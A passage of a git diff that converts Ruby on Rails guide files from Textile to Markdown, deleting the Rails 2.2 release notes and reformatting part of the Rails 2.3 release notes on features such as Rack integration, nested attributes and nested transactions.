+* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement.
+* `ActiveRecord::Base.allow_concurrency` no longer has any effect.
+* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`
+* The `%s` and `%d` interpolation syntax for internationalization is deprecated.
+* `String#chars` has been deprecated in favor of `String#mb_chars`.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.
+* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com)
diff --git a/guides/source/2_2_release_notes.textile b/guides/source/2_2_release_notes.textile
deleted file mode 100644
index eb4b32329b..0000000000
--- a/guides/source/2_2_release_notes.textile
+++ /dev/null
@@ -1,422 +0,0 @@
-h2. Ruby on Rails 2.2 Release Notes
-
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
-
-endprologue.
-
-h3. Infrastructure
-
-Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
-
-h4. Internationalization
-
-Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
-
-* Lead Contributors: Rails i18 Team
-* More information :
-** "Official Rails i18 website":http://rails-i18n.org
-** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
-** "Localizing Rails : Demo application":http://github.com/clemens/i18n_demo_app
-
-h4. Compatibility with Ruby 1.9 and JRuby
-
-Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
-
-h3. Documentation
-
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
-
-* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started.html
-* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
-* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
-* "Active Record Query Interface":http://guides.rubyonrails.org/active_record_querying.html
-* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
-* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
-* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html
-* "Action Controller Overview":http://guides.rubyonrails.org/action_controller_overview.html
-* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
-* "A Guide to Testing Rails Applications":http://guides.rubyonrails.org/testing.html
-* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
-* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
-* "Performance Testing Rails Applications":http://guides.rubyonrails.org/performance_testing.html
-* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/plugins.html
-
-All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
-
-If you want to generate these guides locally, inside your application:
-
-<ruby>
-rake doc:guides
-</ruby>
-
-This will put the guides inside +Rails.root/doc/guides+ and you may start surfing straight away by opening +Rails.root/doc/guides/index.html+ in your favourite browser.
-
-* Lead Contributors: "Rails Documentation Team":credits.html
-* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
-* More information:
-** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
-** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
-
-h3. Better integration with HTTP : Out of the box ETag support
-
-Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
-
-<ruby>
-class ArticlesController < ApplicationController
- def show_with_respond_to_block
- @article = Article.find(params[:id])
-
- # If the request sends headers that differs from the options provided to stale?, then
- # the request is indeed stale and the respond_to block is triggered (and the options
- # to the stale? call is set on the response).
- #
- # If the request headers match, then the request is fresh and the respond_to block is
- # not triggered. Instead the default render will occur, which will check the last-modified
- # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
- # of rendering the template.
- if stale?(:last_modified => @article.published_at.utc, :etag => @article)
- respond_to do |wants|
- # normal response processing
- end
- end
- end
-
- def show_with_implied_render
- @article = Article.find(params[:id])
-
- # Sets the response headers and checks them against the request, if the request is stale
- # (i.e. no match of either etag or last-modified), then the default render of the template happens.
- # If the request is fresh, then the default render will return a "304 Not Modified"
- # instead of rendering the template.
- fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
- end
-end
-</ruby>
-
-h3. Thread Safety
-
-The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
-
-To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
-
-<ruby>
-config.threadsafe!
-</ruby>
-
-* More information :
-** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
-** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
-** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
-
-h3. Active Record
-
-There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
-
-h4. Transactional Migrations
-
-Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
-
-* Lead Contributor: "Adam Wiggins":http://adam.heroku.com/
-* More information:
-** "DDL Transactions":http://adam.heroku.com/past/2008/9/3/ddl_transactions/
-** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
-
-h4. Connection Pooling
-
-Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
-
-<ruby>
-development:
- adapter: mysql
- username: root
- database: sample_development
- pool: 10
- wait_timeout: 10
-</ruby>
-
-* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
-* More information:
-** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
-
-h4. Hashes for Join Table Conditions
-
-You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
-
-<ruby>
-class Photo < ActiveRecord::Base
- belongs_to :product
-end
-
-class Product < ActiveRecord::Base
- has_many :photos
-end
-
-# Get all products with copyright-free photos:
-Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
-</ruby>
-
-* More information:
-** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
-
-h4. New Dynamic Finders
-
-Two new sets of methods have been added to Active Record's dynamic finders family.
-
-h5. +find_last_by_<em>attribute</em>+
-
-The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-
-<ruby>
-# Get the last user who signed up from London
-User.find_last_by_city('London')
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
-
-h5. +find_by_<em>attribute</em>!+
-
-The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-
-<ruby>
-# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
-User.find_by_name!('Moby')
-</ruby>
-
-* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
-
-h4. Associations Respect Private/Protected Scope
-
-Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
-
-* Lead Contributor: Adam Milligan
-* More information:
-** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
-
-h4. Other ActiveRecord Changes
-
-* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
-* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
-* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
-
-h3. Action Controller
-
-On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
-
-h4. Shallow Route Nesting
-
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
-
-<ruby>
-map.resources :publishers, :shallow => true do |publisher|
- publisher.resources :magazines do |magazine|
- magazine.resources :photos
- end
-end
-</ruby>
-
-This will enable recognition of (among others) these routes:
-
-<ruby>
-/publishers/1 ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2 ==> magazine_path(2)
-/magazines/2/photos ==> magazines_photos_path(2)
-/photos/3 ==> photo_path(3)
-</ruby>
-
-* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
-* More information:
-** "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing.html#nested-resources
-** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
-
-h4. Method Arrays for Member or Collection Routes
-
-You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
-
-<ruby>
-map.resources :photos, :collection => { :search => [:get, :post] }
-</ruby>
-
-* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
-
-h4. Resources With Specific Actions
-
-By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
-
-<ruby>
-map.resources :photos, :only => [:index, :show]
-map.resources :products, :except => :destroy
-</ruby>
-
-* Lead Contributor: "Tom Stuart":http://experthuman.com/
-
-h4. Other Action Controller Changes
-
-* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
-* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
-* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
-* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
-* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
-* +render+ now supports a +:js+ option to render plain vanilla JavaScript with the right mime type.
-* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
-* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
-
-h3. Action View
-
-* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
-* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
-* +RJS#page.reload+ to reload the browser's current location via JavaScript
-* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
-
-h3. Action Mailer
-
-Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
-
-* More information:
-** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
-
-Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
-
-h3. Active Support
-
-Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
-
-h4. Memoization
-
-Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
-
-<ruby>
-def full_name
- @full_name ||= "#{first_name} #{last_name}"
-end
-</ruby>
-
-Memoization lets you handle this task in a declarative fashion:
-
-<ruby>
-extend ActiveSupport::Memoizable
-
-def full_name
- "#{first_name} #{last_name}"
-end
-memoize :full_name
-</ruby>
-
-Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
-
-* Lead Contributor: "Josh Peek":http://joshpeek.com/
-* More information:
-** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
-** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
-
-h4. each_with_object
-
-The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
-
-<ruby>
-%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
-</ruby>
-
-Lead Contributor: "Adam Keys":http://therealadam.com/
-
-h4. Delegates With Prefixes
-
-If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
-
-<ruby>
-class Vendor < ActiveRecord::Base
- has_one :account
- delegate :email, :password, :to => :account, :prefix => true
-end
-</ruby>
-
-This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
-
-<ruby>
-class Vendor < ActiveRecord::Base
- has_one :account
- delegate :email, :password, :to => :account, :prefix => :owner
-end
-</ruby>
-
-This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
-
-Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
-
-h4. Other Active Support Changes
-
-* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
-* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
-* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
-* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
-* +Enumerable#many?+ to encapsulate +collection.size > 1+
-* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
-* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
-* The included TzInfo library has been upgraded to version 0.3.12.
-* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
-
-h3. Railties
-
-In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
-
-h4. config.gems
-
-To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
-
-* +config.gem _gem_name_+ in your +config/environment.rb+ file
-* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
-* +rake gems:install+ to install missing gems to the computer
-* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
-* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
-* +rake gems:build+ to build any missing native extensions
-* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
-
-You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
-
-* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
-* More information:
-** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
-** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
-** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
-
-h4. Other Railties Changes
-
-* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
-* +script/plugin install &lt;plugin&gt; -r &lt;revision&gt;+ now works with git-based as well as svn-based plugins.
-* +script/console+ now supports a +--debugger+ option
-* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
-* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
-* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
-* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
-
-h3. Deprecated
-
-A few pieces of older code are deprecated in this release:
-
-* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
-* Implicit local assignments when rendering partials has been deprecated.
-
-<ruby>
-def partial_with_implicit_local_assignment
- @customer = Customer.new("Marcel")
- render :partial => "customer"
-end
-</ruby>
-
-Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
-
-* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
-* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
-* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
-* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
-* +String#chars+ has been deprecated in favor of +String#mb_chars+.
-* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
-* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/guides/source/2_3_release_notes.textile b/guides/source/2_3_release_notes.md
index 36f425574b..7aef566e40 100644
--- a/guides/source/2_3_release_notes.textile
+++ b/guides/source/2_3_release_notes.md
@@ -1,14 +1,16 @@
-h2. Ruby on Rails 2.3 Release Notes
+Ruby on Rails 2.3 Release Notes
+===============================
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Application Architecture
+Application Architecture
+------------------------
-There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines.
-h4. Rack Integration
+### Rack Integration
Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
@@ -19,221 +21,225 @@ Rails has now broken with its CGI past, and uses Rack everywhere. This required
Here's a summary of the rack-related changes:
-* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
+* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
* The FCGI handler goes through Rack.
-* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
-* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
+* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
-* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
-* +CgiRequest+ and +CgiResponse+ have been removed.
+* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* `CgiRequest` and `CgiResponse` have been removed.
* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
-* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
-* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
-* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
-* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
-* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
-* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+. However, the +:session_domain+ option has been renamed to +:domain+.
-* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
-* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
-* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
-* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
-* +ActionController::Request+ inherits from +Rack::Request+.
-* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use +config.action_controller.session = { :key => 'foo', ...+.
-* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
+* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies["foo"] now sets the cookie as expected.
+* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
+* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
+* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
+* You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
+* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
+* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
+* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
+* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
+* `ActionController::Request` inherits from `Rack::Request`.
+* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
+* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.
-h4. Renewed Support for Rails Engines
+### Renewed Support for Rails Engines
-After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
-h3. Documentation
+Documentation
+-------------
-The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://edgeguides.rubyonrails.org/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
+The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
-* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
+* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.)
-h3. Ruby 1.9.1 Support
+Ruby 1.9.1 Support
+------------------
Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
-h3. Active Record
+Active Record
+-------------
Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
-h4. Nested Attributes
+### Nested Attributes
Active Record can now update the attributes on nested models directly, provided you tell it to do so:
-<ruby>
+```ruby
class Book < ActiveRecord::Base
has_one :author
has_many :pages
accepts_nested_attributes_for :author, :pages
end
-</ruby>
+```
Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
-You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
+You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:
-<ruby>
+```ruby
accepts_nested_attributes_for :author,
:reject_if => proc { |attributes| attributes['name'].blank? }
-</ruby>
+```
-* Lead Contributor: "Eloy Duran":http://superalloy.nl/
-* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
+* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
-h4. Nested Transactions
+### Nested Transactions
Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
-<ruby>
+```ruby
User.transaction do
- User.create(:username => 'Admin')
- User.transaction(:requires_new => true) do
- User.create(:username => 'Regular')
- raise ActiveRecord::Rollback
- end
+ User.create(:username => 'Admin')
+ User.transaction(:requires_new => true) do
+ User.create(:username => 'Regular')
+ raise ActiveRecord::Rollback
end
+end
- User.find(:all) # => Returns only Admin
-</ruby>
+User.find(:all) # => Returns only Admin
+```
-Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
